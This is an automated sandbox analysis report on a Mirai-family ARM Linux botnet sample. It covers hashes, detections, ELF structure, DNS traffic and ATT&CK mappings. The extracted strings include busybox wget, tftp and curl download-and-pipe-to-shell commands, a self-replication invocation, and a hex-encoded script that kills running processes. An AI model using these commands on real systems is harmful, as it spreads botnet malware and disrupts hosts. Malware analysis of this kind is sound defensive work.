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Linux Analysis Report
Vtj9UyYoUc.elf

Overview

General Information

Sample name:	Vtj9UyYoUc.elf renamed because original name is a hash value
Original sample name:	63127e9b49d9e4be2a3851d4e0e2d338.elf
Analysis ID:	1432504
MD5:	63127e9b49d9e4be2a3851d4e0e2d338
SHA1:	f5b2eceb15bf4f3357607f5371c0ffe26061cb62
SHA256:	b3cc5833fb2f3f50d6c87842afe536d56227cb291d0864de6c7770ebfe1d9d30
Tags:	32armelfmirai
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Exit code information suggests that the sample terminated abnormally, try to lookup the sample's target architecture.

Non-zero exit code suggests an error during the execution. Lookup the error code for hints.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432504
Start date and time:	2024-04-27 11:23:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Vtj9UyYoUc.elf renamed because original name is a hash value
Original Sample Name:	63127e9b49d9e4be2a3851d4e0e2d338.elf
Detection:	MAL
Classification:	mal48.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/Vtj9UyYoUc.elf
PID:	5796
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

Vtj9UyYoUc.elf (PID: 5796, Parent: 5720, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/Vtj9UyYoUc.elf

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: Vtj9UyYoUc.elf	String found in binary or memory: http:///curl.sh
Source: Vtj9UyYoUc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/0@2/0

Source: /tmp/Vtj9UyYoUc.elf (PID: 5796)

Queries kernel information via 'uname':

Jump to behavior

Source: Vtj9UyYoUc.elf, 5796.1.000055d904cf8000.000055d904e26000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: Vtj9UyYoUc.elf, 5796.1.00007ffce63c6000.00007ffce63e7000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/Vtj9UyYoUc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Vtj9UyYoUc.elf
Source: Vtj9UyYoUc.elf, 5796.1.000055d904cf8000.000055d904e26000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: Vtj9UyYoUc.elf, 5796.1.00007ffce63c6000.00007ffce63e7000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: Vtj9UyYoUc.elf, 5796.1.00007ffce63c6000.00007ffce63e7000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Vtj9UyYoUc.elf	34%	Virustotal		Browse
Vtj9UyYoUc.elf	58%	ReversingLabs	Linux.Trojan.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	Vtj9UyYoUc.elf	false		low
http:///curl.sh	Vtj9UyYoUc.elf	false		low

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	XVt9z96UvY.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	SBZG0flucJ.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	Sl8HmMfNnr.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	50eBWGCFKc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	BOVjnkqU4W.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	qhhqt3xRay.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24
	0X5rTj63KL.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	mm0pZCxtdy.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	rBlBdKlZvK.elf	Get hash	malicious	Okiru	Browse	162.213.35.25
	xiYIWeBeA9.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.9782210414635655
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Vtj9UyYoUc.elf
File size:	54'440 bytes
MD5:	63127e9b49d9e4be2a3851d4e0e2d338
SHA1:	f5b2eceb15bf4f3357607f5371c0ffe26061cb62
SHA256:	b3cc5833fb2f3f50d6c87842afe536d56227cb291d0864de6c7770ebfe1d9d30
SHA512:	404e1957f97d5060c5558ae88fa470a70c408276fb596298d6e2c6adf23cd147dfa39ae6393261b52942a8b32805006fa4ff4f30608e0128ee8aa7eefd9b3dec
SSDEEP:	1536:XhnFwfnKqC4z+VRS3mnZGj1K32M2iYmz8dV7JnI8sR:gfn/CRS3mcmz8dV7JnI
TLSH:	1233D887F951DF55D5C581BAFA0E528D331317A8E3EFB3539E10AB247A8B46B0E3A401
File Content Preview:	.ELF..............(.....T...4...........4. ...(.....................L...L...........................(...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.(.............-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	53920
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xb95c	0x0	0x6	AX	16
.fini	PROGBITS	0x13a0c	0xba0c	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x13a1c	0xba1c	0x1130	0x0	0x2	A	4
.init_array	INIT_ARRAY	0x1d004	0xd008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x1d008	0xd00c	0x4	0x0	0x3	WA	4
.jcr	PROGBITS	0x1d00c	0xd010	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x1d010	0xd014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x1d084	0xd088	0x1a4	0x0	0x3	WA	4
.bss	NOBITS	0x1d228	0xd22c	0x346c	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0xd22c	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd23c	0x62	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xcb4c	0xcb4c	6.1012	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xd004	0x1d004	0x1d000	0x228	0xb690	2.2334	0x6	RW	0x8000	.init_array .fini_array .jcr .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 27, 2024 11:24:21.374733925 CEST	55758	53	192.168.2.15	8.8.8.8
Apr 27, 2024 11:24:21.467750072 CEST	53	55758	8.8.8.8	192.168.2.15
Apr 27, 2024 11:24:21.468461037 CEST	55758	53	192.168.2.15	8.8.8.8
Apr 27, 2024 11:24:21.468461037 CEST	55758	53	192.168.2.15	8.8.8.8
Apr 27, 2024 11:24:21.468487978 CEST	55758	53	192.168.2.15	8.8.8.8
Apr 27, 2024 11:24:21.561872959 CEST	53	55758	8.8.8.8	192.168.2.15
Apr 27, 2024 11:24:21.561904907 CEST	53	55758	8.8.8.8	192.168.2.15
Apr 27, 2024 11:24:21.561953068 CEST	53	55758	8.8.8.8	192.168.2.15
Apr 27, 2024 11:24:21.562037945 CEST	55758	53	192.168.2.15	8.8.8.8
Apr 27, 2024 11:24:21.562066078 CEST	53	55758	8.8.8.8	192.168.2.15
Apr 27, 2024 11:24:21.562155008 CEST	55758	53	192.168.2.15	8.8.8.8
Apr 27, 2024 11:24:23.562340975 CEST	53	55758	8.8.8.8	192.168.2.15
Apr 27, 2024 11:24:23.562611103 CEST	55758	53	192.168.2.15	8.8.8.8
Apr 27, 2024 11:24:23.655864000 CEST	53	55758	8.8.8.8	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 27, 2024 11:24:21.468461037 CEST	192.168.2.15	8.8.8.8	0x6dbc	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:24:21.468487978 CEST	192.168.2.15	8.8.8.8	0x830f	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 11:24:21.561953068 CEST	8.8.8.8	192.168.2.15	0x6dbc	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:24:21.561953068 CEST	8.8.8.8	192.168.2.15	0x6dbc	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: Vtj9UyYoUc.elf PID: 5796, Parent PID: 5720

General

Start time (UTC):	09:24:19
Start date (UTC):	27/04/2024
Path:	/tmp/Vtj9UyYoUc.elf
Arguments:	/tmp/Vtj9UyYoUc.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: Vtj9UyYoUc.elf	Virustotal: Detection: 33%			Perma Link
Source: Vtj9UyYoUc.elf	ReversingLabs: Detection: 57%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report Vtj9UyYoUc.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: Vtj9UyYoUc.elf PID: 5796, Parent PID: 5720

General

Chronological Activities

Linux Analysis Report
Vtj9UyYoUc.elf